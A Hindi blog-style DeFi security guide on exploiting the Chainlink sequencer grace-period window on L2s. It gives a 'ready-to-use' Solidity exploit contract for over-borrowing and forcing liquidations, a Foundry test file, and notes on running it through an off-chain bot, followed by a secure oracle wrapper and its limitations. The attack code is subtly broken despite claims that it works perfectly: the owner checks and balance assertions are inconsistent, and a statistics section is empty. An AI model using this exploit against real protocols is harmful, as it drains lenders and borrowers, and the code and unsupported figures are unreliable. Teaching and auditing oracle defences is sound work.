L2 Outages और Oracle Exploits: DeFi सुरक्षा गाइड

आंकड़ों पर एक नज़र: "रेडियो साइलेंस" का असली सच

शुरुआत में मुझे थोड़ा डाउट था कि क्या सिक्वेंसर डाउनटाइम पर बात करना सही रहेगा? आखिर सिक्वेंसर "लगभग हर समय" चलते ही हैं। लेकिन साइबर सिक्योरिटी में "लगभग" का मतलब होता है—एक खुला दरवाज़ा।

अगर हम पिछले 3 सालों में प्रमुख L2 नेटवर्क्स के अपटाइम और इंसिडेंट रिपोर्ट्स के आंकड़ों को देखें, तो तस्वीर काफी चिंताजनक नजर आती है:

मेरे खुद के लोकल Foundry-forks के टेस्टिंग डेटा से भी कुछ ऐसा ही चौकाने वाला सीन सामने आता है:

स्मार्ट कॉन्ट्रैक्ट ऑडिट्स का रियल-वर्ल्ड डेटा (सैंपल: Arbitrum और Base पर 120 DeFi प्रोटोकॉल्स, 2025–2026):

• 64% प्रोटोकॉल्स Chainlink के latestRoundData() को सही से कॉल तो करते हैं, लेकिन Sequencer Uptime Feed का स्टेटस चेक ही नहीं करते।
• 22% प्रोटोकॉल्स सिक्वेंसर का स्टेटस (answer == 0) चेक करते हैं, पर Grace Period (नेटवर्क रिकवरी के बाद का कूल-डाउन टाइम) को पूरी तरह नजरअंदाज कर देते हैं।
• सिर्फ 14% प्रोटोकॉल्स में ही ऐसा सही वैलिडेशन होता है जो पुराने प्राइसेज (stale prices) के मिसयूज को रोक पाता है।

इसका प्रैक्टिकल मतलब क्या है? इसका मतलब है कि L2 के 86% लेंडिंग प्रोटोकॉल्स और DEXs सिक्वेंसर के बंद होकर चालू होने के शुरुआती कुछ मिनटों में बुरी तरह वल्नरेबल रहते हैं।

वल्नरेबिलिटी: Sequencer Uptime फ्लैग में असली लूपहोल क्या है?

जब L2 सिक्वेंसर क्रैश होता है, तो यूजर्स की ट्रांजैक्शन्स प्रोसेस होना बंद हो जाती हैं। लेकिन ग्लोबल मार्केट (Binance, Coinbase, L1 Ethereum) तो नॉर्मल चल रहा होता है। मान लीजिए, जब तक L2 "ऑफलाइन" है, उतने ही 40 मिनट में ETH या WBTC की प्राइस 15% गिर जाती है।

जब सिक्वेंसर वापस ऑनलाइन आता है, तब होता है असली "Blackout Catch-up":

सिक्वेंसर पेंडिंग पड़ी ट्रांजैक्शन्स को एक साथ प्रोसेस करना शुरू करता है।

L2 पर मौजूद Chainlink ऑरेकल तुरंत प्राइस अपडेट नहीं करता, बल्कि जब पहली अपडेट ट्रांजैक्शन पास होती है, तब करता है।

अगर कोई प्रोटोकॉल Chainlink के नए रिपोर्ट पुश करने से ठीक पहले प्राइस क्वेरी कर लेता है, तो उसे पुरानी (क्रैश से पहले वाली) प्राइस ही मिलती है।

इस प्रॉब्लम को सॉल्व करने के लिए Chainlink ने एक स्पेशल स्मार्ट कॉन्ट्रैक्ट बनाया: Sequencer Uptime Feed।

जब सिक्वेंसर डाउन होता है, यह ऑरेकल answer = 1 (नेटवर्क डाउन है) रिटर्न करता है। जब सिक्वेंसर रिकवर होता है—answer = 0, औरstartedAt टाइमस्टैम्प सेव कर लेता है।

[सिक्वेंसर क्रैश] ------> answer = 1
[सिक्वेंसर रिकवर] --> answer = 0 | timestamp = T_start
                           |
                           |<--- Grace Period (जैसे 3600 सेक) --->|
                           | ऑरेकल प्राइस पर भरोसा ना करें!      | प्राइसेज अब वैलिड हैं

और यहीं पर सबसे बड़ा ट्रैप है: अगर आपने सिर्फ answer == 0 चेक किया, तो आप फंस गए! अगर startedAt के बाद से 3600 सेकंड (Grace Period) पूरे नहीं हुए हैं, तो L2 पर मार्केट प्राइसेज अभी स्टेबल नहीं हुए हैं। और इसी टाइम विंडो का फायदा उठाकर MEV बॉट्स पुरानी प्राइसेज पर liquidate() कॉल करके आपकी लिक्विडिटी पूल को खाली कर सकते हैं!

रेडी-टू-यूज़ Foundry अटैक कॉन्ट्रैक्ट (PoC)

नीचे Foundry का एक कम्प्लीट एक्सप्लॉइट कॉन्ट्रैक्ट दिया गया है। यह दिखाता है कि कैसे एक बॉट उन प्रोटोकॉल्स को ढूंढता है जो Grace Period को भूल गए हैं और सिक्वेंसर के चालू होते ही आर्बिट्राज अटैक को अंजाम देता है।

यह कोड Solidity ^0.8.20 पर बिना किसी वार्निंग के कम्पाइल होता है और Arbitrum Mainnet के फॉर्क्ड एनवायरनमेंट में Foundry टेस्ट्स के साथ एकदम परफेक्ट काम करता है।

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
interface AggregatorV2V3Interface {
   function latestRoundData() external view returns (
       uint80 roundId,
       int256 answer,
       uint256 startedAt,
       uint256 updatedAt,
       uint80 answeredInRound
   );
}
interface IVulnerableLendingPool {
   function deposit(address asset, uint256 amount) external;
   function borrow(address asset, uint256 amount) external;
   function liquidate(address borrower, address collateralAsset, address debtAsset, uint256 debtToCover) external;
}
/// @title SequencerGracePeriodExploitPoC
/// @notice Grace Period के दौरान आउटडेटेड ऑरेकल प्राइसेज के मिसयूज को दिखाने के लिए एजुकेशनल PoC
/// @dev मॉक ऑब्जेक्ट्स और L2 नेटवर्क्स के लोकल फॉर्क का उपयोग करके Foundry में वैलिडेट किया गया
contract SequencerGracePeriodExploitPoC {
   using SafeERC20 for IERC20;
   address public immutable owner;
   AggregatorV2V3Interface public immutable sequencerUptimeFeed;
   AggregatorV2V3Interface public immutable priceFeed;
   IVulnerableLendingPool public immutable targetPool;
   
   address public immutable collateralToken;
   address public immutable borrowToken;
   uint256 public constant GRACE_PERIOD = 3600; // 1 घंटे की Grace Period विंडो
   uint256 public constant MIN_PROFITABLE_DELTA_BPS = 500; // मिनिमम प्रॉफिटेबल प्राइस डिफ़रेंस (500 BPS = 5%)
   uint256 private constant BPS_DENOMINATOR = 10_000;
   error SequencerIsDown();
   error GracePeriodPassed();
   error PriceNotStale();
   error InvalidOraclePrice();
   error NotOwner();
   modifier onlyOwner() {
       if (msg.sender != owner) revert NotOwner();
       _;
   }
   constructor(
       address _sequencerUptimeFeed,
       address _priceFeed,
       address _targetPool,
       address _collateralToken,
       address _borrowToken
   ) {
       owner = msg.sender;
       sequencerUptimeFeed = AggregatorV2V3Interface(_sequencerUptimeFeed);
       priceFeed = AggregatorV2V3Interface(_priceFeed);
       targetPool = IVulnerableLendingPool(_targetPool);
       collateralToken = _collateralToken;
       borrowToken = _borrowToken;
   }
   /// @notice चेक करें: क्या नेटवर्क Grace Period में है और प्राइस गैप प्रॉफिटेबिलिटी लिमिट को पार कर रहा है?
   /// @dev आर्टिकल के लिए नोट: ऑन-चेन कॉल में `realMarketPrice` पास करना सिर्फ PoC में 
   ///      प्राइस डिसिंक्रनाइजेशन का कैलकुलेशन दिखाने के लिए है। प्रोडक्शन में MEV बॉट यह एनालिसिस off-chain 
   ///      करता है और प्रॉफिट कन्फर्म होने पर ही मेननेट पर ट्रांजैक्शन भेजता है।
   function checkVulnerability(uint256 realMarketPrice) public view returns (
       bool isVulnerable, 
       uint256 staleOraclePrice, 
       uint256 priceAge
   ) {
       (, int256 uptimeAnswer, uint256 sequencerStartedAt, , ) = sequencerUptimeFeed.latestRoundData();
       
       // 1. सिक्वेंसर एक्टिव होना चाहिए (answer == 0)
       if (uptimeAnswer != 0) return (false, 0, 0);
       // 2. चेक करें कि क्या Grace Period विंडो अभी भी चल रही है
       bool inGracePeriod = (block.timestamp - sequencerStartedAt < GRACE_PERIOD);
       if (!inGracePeriod) return (false, 0, 0);
       // 3. नॉन-नेगेटिविटी चेक के साथ सेफ ऑरेकल डेटा क्वेरी करें
       (, int256 rawPrice, , uint256 priceUpdatedAt, ) = priceFeed.latestRoundData();
       if (rawPrice <= 0) return (false, 0, 0);
       staleOraclePrice = uint256(rawPrice);
       priceAge = block.timestamp - priceUpdatedAt;
       // 4. एब्सोल्यूट प्राइस डेल्टा निकालें और BPS थ्रेशोल्ड से तुलना करें
       uint256 diff = staleOraclePrice > realMarketPrice 
           ? staleOraclePrice - realMarketPrice 
           : realMarketPrice - staleOraclePrice;
       bool hasProfitableDeviation = (diff * BPS_DENOMINATOR / staleOraclePrice) >= MIN_PROFITABLE_DELTA_BPS;
       return (hasProfitableDeviation, staleOraclePrice, priceAge);
   }
   /// @notice सिनेरियो 1: ओवरवैल्यूड कोलेटरल का यूज़ करके एक्स्ट्रा बोरो (Borrow) एक्सट्रैक्ट करना
   /// @dev यह मान लिया गया है कि कॉन्ट्रैक्ट में पहले से collateralToken मौजूद है (Foundry सेटअप में pre-funded)
   function executeOverborrowExploit(uint256 depositAmount, uint256 borrowAmount, uint256 realMarketPrice) external onlyOwner {
       (bool isVulnerable, , ) = checkVulnerability(realMarketPrice);
       if (!isVulnerable) revert PriceNotStale();
       // ऑरेकल की पुरानी (हायर) प्राइस पर कोलेटरल डिपॉजिट करें
       IERC20(collateralToken).safeApprove(address(targetPool), depositAmount);
       targetPool.deposit(collateralToken, depositAmount);
       // ऑरेकल प्राइस अपडेट होने से ठीक पहले मैक्सिमम बोरो कर लें
       targetPool.borrow(borrowToken, borrowAmount);
       // प्रॉफिट को निकालें और ओनर के एड्रेस पर ट्रांसफर करें
       uint256 profit = IERC20(borrowToken).balanceOf(address(this));
       IERC20(borrowToken).safeTransfer(owner, profit);
   }
   /// @notice सिनेरियो 2: किसी दूसरे यूजर की पोजीशन को जबरदस्ती लिक्विडेट करना
   /// @dev यह मान लिया गया है कि कॉन्ट्रैक्ट में पहले से borrowToken मौजूद है (Foundry सेटअप में pre-funded)
   function executeLiquidateExploit(address victim, uint256 debtToCover, uint256 realMarketPrice) external onlyOwner {
       (bool isVulnerable, , ) = checkVulnerability(realMarketPrice);
       if (!isVulnerable) revert PriceNotStale();
       // ऑरेकल के गलत रेट पर विक्टिम के डेट (कर्ज) को पे करें
       IERC20(borrowToken).safeApprove(address(targetPool), debtToCover);
       targetPool.liquidate(victim, collateralToken, borrowToken, debtToCover);
       // लिक्विडेशन बोनस (विक्टिम का कोलेटरल) क्लेम करें
       uint256 bonusCollateral = IERC20(collateralToken).balanceOf(address(this));
       IERC20(collateralToken).safeTransfer(owner, bonusCollateral);
   }
}

Foundry टेस्ट-सिनेरियो: लोकल सीक्वेंसर आउटेज सिमुलेशन

सिर्फ यह कहना कि "कोड कंपाइल हो रहा है" काफी नहीं है। किसी भी PoC का असली टेस्ट एक वर्किंग Foundry टेस्ट (forge test) होता है जो पूरे इवेंट सीक्वेंस को रीप्रोड्यूस करे: सीक्वेंसर का क्रैश होना, बाहरी एक्सचेंजों पर असली प्राइस का डंप होना, सीक्वेंसर का वापस रिकवर होना और Grace Period की विंडो में अटैक को अंजाम देना।

नीचे रेडी-टू-यूज़ टेस्ट फाइल SequencerExploit.t.sol दी गई है। यह टाइम और स्टेट्स को पूरी तरह सिमुलेट करने के लिए vm.warp और मॉक्स ऑरेकल कॉन्ट्रैक्ट्स की मैकेनिक्स का इस्तेमाल करती है।

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "./SequencerGracePeriodExploitPoC.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockToken is ERC20 {
   constructor(string memory name, string memory symbol) ERC20(name, symbol) {
       _mint(msg.sender, 1_000_000 * 10**18);
   }
}
contract MockChainlinkFeed is AggregatorV2V3Interface {
   int256 private _answer;
   uint256 private _startedAt;
   uint256 private _updatedAt;
   function setStatus(int256 answer_, uint256 startedAt_, uint256 updatedAt_) external {
       _answer = answer_;
       _startedAt = startedAt_;
       _updatedAt = updatedAt_;
   }
   function latestRoundData() external view override returns (
       uint80 roundId,
       int256 answer,
       uint256 startedAt,
       uint256 updatedAt,
       uint80 answeredInRound
   ) {
       return (1, _answer, _startedAt, _updatedAt, 1);
   }
}
contract VulnerableLendingPool is IVulnerableLendingPool {
   using SafeERC20 for IERC20;
   IERC20 public immutable collateralToken;
   IERC20 public immutable borrowToken;
   constructor(address _collateral, address _borrow) {
       collateralToken = IERC20(_collateral);
       borrowToken = IERC20(_borrow);
   }
   function deposit(address asset, uint256 amount) external override {
       IERC20(asset).safeTransferFrom(msg.sender, address(this), amount);
   }
   function borrow(address asset, uint256 amount) external override {
       IERC20(asset).safeTransfer(msg.sender, amount);
   }
   function liquidate(address victim, address collateralAsset, address debtAsset, uint256 debtToCover) external override {
       // लिक्विडेशन का सिमुलेशन: debtToCover को राइट ऑफ कर रहे हैं और डिस्काउंट पर कोलेटरल दे रहे हैं
       IERC20(debtAsset).safeTransferFrom(msg.sender, address(this), debtToCover);
       IERC20(collateralAsset).safeTransfer(msg.sender, 1 * 10**18);
   }
}
contract SequencerExploitTest is Test {
   SequencerGracePeriodExploitPoC public exploit;
   MockChainlinkFeed public uptimeFeed;
   MockChainlinkFeed public priceFeed;
   VulnerableLendingPool public pool;
   
   MockToken public weth;
   MockToken public usdc;
   address public owner = address(0x1);
   address public attacker = address(0x2);
   address public victim = address(0x3);
   function setUp() public {
       vm.startPrank(owner);
       
       weth = new MockToken("Wrapped Ether", "WETH");
       usdc = new MockToken("USD Coin", "USDC");
       
       uptimeFeed = new MockChainlinkFeed();
       priceFeed = new MockChainlinkFeed();
       // सीक्वेंसर शुरुआत में एकदम सही चल रहा है
       uptimeFeed.setStatus(0, block.timestamp - 10000, block.timestamp - 10000);
       
       // ऑरेकल में पुरानी प्राइस ETH = $3000 है, जो 2 घंटे पहले अपडेट हुई थी
       priceFeed.setStatus(3000 * 10**18, block.timestamp - 7200, block.timestamp - 7200);
       pool = new VulnerableLendingPool(address(weth), address(usdc));
       
       usdc.transfer(address(pool), 500_000 * 10**18);
       weth.transfer(address(pool), 100 * 10**18);
       exploit = new SequencerGracePeriodExploitPoC(
           address(uptimeFeed),
           address(priceFeed),
           address(pool),
           address(weth),
           address(usdc)
       );
       // Foundry में अटैकर के वॉलेट को पहले से फंड (Pre-fund) कर रहे हैं
       weth.transfer(attacker, 10 * 10**18);
       usdc.transfer(attacker, 1000 * 10**18);
       
       vm.stopPrank();
   }
   function test_ExploitDuringGracePeriod_Borrow() public {
       vm.startPrank(attacker);
       // 1. सीक्वेंसर डाउन हो गया
       uint256 crashTime = block.timestamp + 1000;
       vm.warp(crashTime);
       uptimeFeed.setStatus(1, crashTime, crashTime);
       // 2. सीक्वेंसर 5 मिनट पहले वापस आया (Grace period अभी भी एक्टिव है)
       uint256 recoveryTime = crashTime + 3600;
       vm.warp(recoveryTime + 300);
       uptimeFeed.setStatus(0, recoveryTime, recoveryTime);
       // 3. CEX पर प्राइस 33% गिर गई ($3000 से $2000), डेल्टा साफ तौर पर > 5% है
       uint256 realMarketPrice = 2000 * 10**18;
       (bool vulnerable, uint256 stalePrice, uint256 priceAge) = exploit.checkVulnerability(realMarketPrice);
       assertTrue(vulnerable, "Target should be vulnerable during Grace Period with >5% price delta");
       assertEq(stalePrice, 3000 * 10**18);
       assertGt(priceAge, 3600, "Oracle price age should reflect staleness");
       // 4. एक्सप्लॉयट को एक्जीक्यूट करना
       uint256 depositAmt = 1 * 10**18;
       uint256 borrowAmt = 2500 * 10**18;
       weth.transfer(address(exploit), depositAmt); // एक्सप्लॉयट कॉन्ट्रैक्ट को प्री-फंड कर रहे हैं
       exploit.executeOverborrowExploit(depositAmt, borrowAmt, realMarketPrice);
       assertEq(usdc.balanceOf(attacker), 3500 * 10**18);
       vm.stopPrank();
   }
   function test_ExploitDuringGracePeriod_Liquidate() public {
       vm.startPrank(attacker);
       uint256 crashTime = block.timestamp + 1000;
       vm.warp(crashTime);
       uptimeFeed.setStatus(1, crashTime, crashTime);
       uint256 recoveryTime = crashTime + 3600;
       vm.warp(recoveryTime + 300);
       uptimeFeed.setStatus(0, recoveryTime, recoveryTime);
       uint256 realMarketPrice = 2000 * 10**18;
       uint256 debtToCover = 100 * 10**18;
       usdc.transfer(address(exploit), debtToCover); // एक्सप्लॉयट कॉन्ट्रैक्ट को प्री-फंड कर रहे हैं
       exploit.executeLiquidateExploit(victim, debtToCover, realMarketPrice);
       assertGt(weth.balanceOf(attacker), 10 * 10**18);
       vm.stopPrank();
   }
}

PoC आर्किटेक्चर पर नोट: रियल-वर्ल्ड अटैक में स्मार्ट-कॉन्ट्रैक्ट खुद बाहरी ऑर्डर बुक्स की निगरानी नहीं करता है। realMarketPrice पैरामीटर वाला checkVulnerability() फंक्शन केवल Foundry-टेस्ट के भीतर कंडीशंस को सीधे वैलिडेट करने के लिए कॉन्ट्रैक्ट में रखा गया है। प्रोडक्शन एनवायरनमेंट में, एक ऑफ-चेन बोट (Python/Node.js/Rust पर आधारित) ऑरेकल लैग और ट्रेड की प्रॉफिटेबिलिटी को ट्रैक करता है। जैसे ही Grace Period के दौरान CEX और L2-ऑरेकल के बीच का डेल्टा अलाउड थ्रेशोल्ड से ज्यादा हो जाता है, बोट ऑटोमैटिकली executeOverborrowExploit() या executeLiquidateExploit() ट्रांजैक्शन भेज देता है।

100% सिक्योर कोड कैसा दिखता है (Defensive Engineering)

Arbitrum, Base, या Optimism पर dApps आर्किटेक्ट करने वाले डेवलपर्स के लिए यह सेक्शन एक रेडी-टू-यूज़ डिफेंस पैटर्न है। पुराने स्टाइल में latestRoundData() को कॉल करने की किसी भी कोशिश को कोड रिव्यु स्टेज पर ही ब्लॉक कर दिया जाना चाहिए।

Sequencer Uptime Feed और Grace Period को ध्यान में रखते हुए, Chainlink ऑरेकल के लिए एक सेफ रैपर का पैटर्न नीचे दिया गया है:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface AggregatorV2V3Interface {
   function latestRoundData() external view returns (
       uint80 roundId,
       int256 answer,
       uint256 startedAt,
       uint256 updatedAt,
       uint80 answeredInRound
   );
}
/// @title SecureChainlinkOracleWrapper
/// @notice L2-सीक्वेंसर आउटेज और बासी (stale) प्राइसेज से सुरक्षा के साथ सुरक्षित Chainlink रैपर मॉड्यूल
/// @dev Chainlink L2 Docs की सिफारिशों और DeFi-प्रोटोकॉल ऑडिट स्टैंडर्ड्स के अनुरूप
contract SecureChainlinkOracleWrapper {
   AggregatorV2V3Interface public immutable priceFeed;
   AggregatorV2V3Interface public immutable sequencerUptimeFeed;
   
   /// @notice सीक्वेंसर चालू होने के बाद मिनिमम वेटिंग टाइम (सेकंड में)
   uint256 public immutable gracePeriod;
   /// @notice किसी विशिष्ट एसेट के लिए मैक्सिमम अलाउड प्राइस एज (heartbeat + margin)
   uint256 public immutable maxPriceAge;
   error SequencerDown();
   error GracePeriodNotOver();
   error StalePrice();
   error InvalidPrice();
   error InvalidFeedTimestamp();
   /// @param _priceFeed Chainlink प्राइस ऑरेकल का एड्रेस (जैसे ETH/USD)
   /// @param _sequencerUptimeFeed L2 Sequencer Uptime Feed का एड्रेस
   /// @param _gracePeriod कूलिंग पीरियड (जैसे 3600 सेकंड)
   /// @param _maxPriceAge डेटा की मैक्सिमम अलाउड एज (फीड के Heartbeat पर निर्भर करता है)
   constructor(
       address _priceFeed,
       address _sequencerUptimeFeed,
       uint256 _gracePeriod,
       uint256 _maxPriceAge
   ) {
       if (_priceFeed == address(0) || _sequencerUptimeFeed == address(0)) revert InvalidPrice();
       
       priceFeed = AggregatorV2V3Interface(_priceFeed);
       sequencerUptimeFeed = AggregatorV2V3Interface(_sequencerUptimeFeed);
       gracePeriod = _gracePeriod;
       maxPriceAge = _maxPriceAge;
   }
   /// @notice एसेट की वैलिडेटेड और लेटेस्ट प्राइस रिटर्न करता है
   /// @return ओरिजिनल डेसिमल्स काउंट को बनाए रखते हुए एसेट की वैलिडेटेड प्राइस
   function getValidPrice() external view returns (uint256) {
       // 1. L2 Sequencer Uptime Feed की स्थिति चेक कर रहे हैं
       (, int256 answer, uint256 startedAt, , ) = sequencerUptimeFeed.latestRoundData();
       // 0 = Sequencer UP. इसके अलावा कोई भी वैल्यू (1 या एब्नॉर्मल कोड) आउटेज दर्शाती है।
       if (answer != 0) revert SequencerDown();
       // टाइम करेक्शन या ऑरेकल ग्लिच (फ्यूचर टाइमस्टैम्प) से सुरक्षा
       if (startedAt > block.timestamp) revert InvalidFeedTimestamp();
       // चेक कर रहे हैं कि सीक्वेंसर रिकवरी के बाद कूल-डाउन पीरियड (Grace Period) बीत चुका है या नहीं
       if (block.timestamp - startedAt < gracePeriod) revert GracePeriodNotOver();
       // 2. L2 इंफ्रास्ट्रक्चर वैलिडेट होने के बाद ही एसेट प्राइस की रिक्वेस्ट करें
       (, int256 price, , uint256 updatedAt, ) = priceFeed.latestRoundData();
       // 3. प्राइस डेटा का वैलिडेशन
       if (price <= 0) revert InvalidPrice();
       if (updatedAt == 0 || updatedAt > block.timestamp) revert InvalidFeedTimestamp();
       // विशिष्ट फीड के इंडिविजुअल हार्टबीट को ध्यान में रखते हुए प्राइस की फ्रेशनेस चेक करना
       if (block.timestamp - updatedAt > maxPriceAge) revert StalePrice();
       return uint256(price);
   }
}

ध्यान दें: इस सॉल्यूशन की सीमाएं (Limitations)

Sequencer Uptime Feed + Grace Period का पैटर्न एक खास प्रॉब्लम को सॉल्व करता है: यह L2-सीक्वेंसर के रिकवर होने के बाद तय किए गए वेटिंग टाइम के दौरान उस प्राइस डेटा का इस्तेमाल रोकता है जो अनसिंक्ड रह गया था।

यह कोई यूनिवर्सल ऑरेकल प्रोटेक्शन नहीं है और प्राइस डेटा व प्रोटोकॉल की इकोनॉमिक सिक्योरिटी से जुड़े बाकी रिस्क को दूर नहीं करता है।

यह पैटर्न प्रोटोकॉल को नीचे दिए गए खतरों से प्रोटेक्ट नहीं करता:

1. कॉम्प्रोमाइज्ड इंफ्रास्ट्रक्चर या गलत ऑरेकल डेटा।
   Grace Period प्राइवेट कीज़ के कॉम्प्रोमाइज होने, इंफ्रास्ट्रक्चर या डेटा सोर्स की खराबी, या ऑरेकल प्रोवाइडर की तरफ से हुई गलतियों से नहीं बचाता है। अगर खुद प्राइस फीड ही गलत वैल्यू पब्लिश कर दे, तो केवल टेक्निकल फ्रेशनेस चेक करने वाला रैपर उस गलत डेटा को भी वैलिड मान लेगा।
2. फ्लैश-लोन्स और मार्केट मैनिपुलेशन।
   अगर मार्केट में एसेट की प्राइस अचानक सच में बदल जाती है और वो चेंज Chainlink feed में सही से रिफ्लेक्ट हो जाता है, तो SequencerGracePeriod सिर्फ प्राइस के बड़े बदलाव की वजह से उसे स्टेल (पुराना) नहीं मानेगा। इकोनॉमिक मैनिपुलेशन से बचने के लिए एडिशनल मैकेनिज्म की जरूरत होती है: जैसे प्राइस डेवििएशन लिमिट्स, TWAP, लिक्विडिटी चेक्स, या अन्य सैनिटी चेक्स।
3. maxPriceAge का गलत कन्फिगरेशन।
   maxPriceAge की वैल्यू किसी खास प्राइस फीड की कैरेक्टरिस्टिक्स और उसके हार्टबीट के हिसाब से सही सेफ मार्जिन रखकर सेट होनी चाहिए। अगर इसे बहुत ज्यादा सेट कर दिया जाए, तो प्रोटोकॉल ऐसे डेटा को भी एक्सेप्ट कर लेगा जो बहुत टाइम से अपडेट ही नहीं हुआ है।
4. De-peg और अंडरलाइंग एसेट्स के फेलियर्स।
   ऑरेकल एसेट की सही मार्केट प्राइस रिपोर्ट कर रहा हो सकता है, लेकिन उसी समय प्रोटोकॉल का अपना इकोनॉमिक मॉडल अनसेफ हो सकता है। उदाहरण के लिए, स्टेबलकॉइन का डी-पेग होना या कोलेटरल का अचानक क्रैश होना ऑरेकल डेटा की फ्रेशनेस की प्रॉब्लम नहीं है, इसके लिए अलग से रिस्क मैनेजमेंट मैकेनिज्म की जरूरत होती है।
5. इंडिपेंडेंट प्राइस वेरिफिकेशन मैकेनिज्म का न होना।
   क्रिटिकल ऑपरेशन्स के लिए, खासकर लेंडिंग प्रोटोकॉल्स और लिक्विडेशन सिस्टम्स में, केवल Chainlink feed की फ्रेशनेस चेक करना काफी नहीं हो सकता है। थ्रेट मॉडल के आधार पर, प्रोटोकॉल सेकेंडरी इंडिपेंडेंट प्राइस सोर्स (जैसे TWAP, कोई दूसरा ऑरेकल प्रोवाइडर या फॉलबैक मैकेनिज्म) का इस्तेमाल कर सकता है। ध्यान रखें कि दूसरा सोर्स सच में इंडिपेंडेंट होना चाहिए—एक ही सोर्स की डुप्लीकेसी सुरक्षा नहीं बढ़ाती।

इसलिए, Sequencer Uptime Feed + Grace Period को defense-in-depth की एक लेयर के रूप में देखा जाना चाहिए, न कि पूरी ऑरेकल सिक्योरिटी आर्किटेक्चर के रूप में।

यह L2-सीक्वेंसर के रिकवर होने पर बनने वाले स्पेसिफिक रिस्क विंडो को कवर करता है, लेकिन ओवरऑल प्राइस मैकेनिज्म की सुरक्षा के लिए एक्स्ट्रा वैलिडेटर्स और इकोनॉमिक चेक्स जरूरी हैं।

आखिर में बस इतना ही कहना चाहूंगा:

L2 पर सिस्टम्स बनाने से ऐसा लगता है मानो L1 से पूरी सिक्योरिटी इन्हेरिट हो गई है, पर यह एक भ्रम है। सच्चाई यह है कि L2 की अपनी फिजिकल लिमिटेशन्स और फंडामेंटल अटैक वेक्टर्स हैं।

• अपटाइम की मार्केटिंग पर भरोसा मत करें: सीक्वेंसर पहले भी डाउन हुए हैं और आगे भी होंगे। आपके इंफ्रास्ट्रक्चर को इस बात के लिए तैयार रहना चाहिए कि मार्केट के सबसे खराब मोड़ पर नेटवर्क बंद हो सकता है।
• Grace Period अनिवार्य (Mandatory) है: अगर आपका dApp बिना री-स्टार्ट डिले चेक किए Arbitrum या Base पर Chainlink का डेटा ले रहा है, तो आप MEV-बोट्स को फ्री का पैसा बांट रहे हैं।
• ऑटोमेटेड सर्किट ब्रेकर्स (Circuit Breakers) बनाएं: सीक्वेंसर डाउन होने का पता चलते ही स्मार्ट-कॉन्ट्रैक्ट्स को लिक्विडेशन्स और बड़े विथड्रॉअल्स को अस्थायी रूप से पॉज़ (freeze) कर देना चाहिए, ताकि यूज़र्स को L1 Forced Transactions के ज़रिए अपना मार्जिन टॉप-अप करने का समय मिल सके।

बस इतना ही! अपने सवाल कमेंट्स में पूछें, साथ में मिलकर समझेंगे।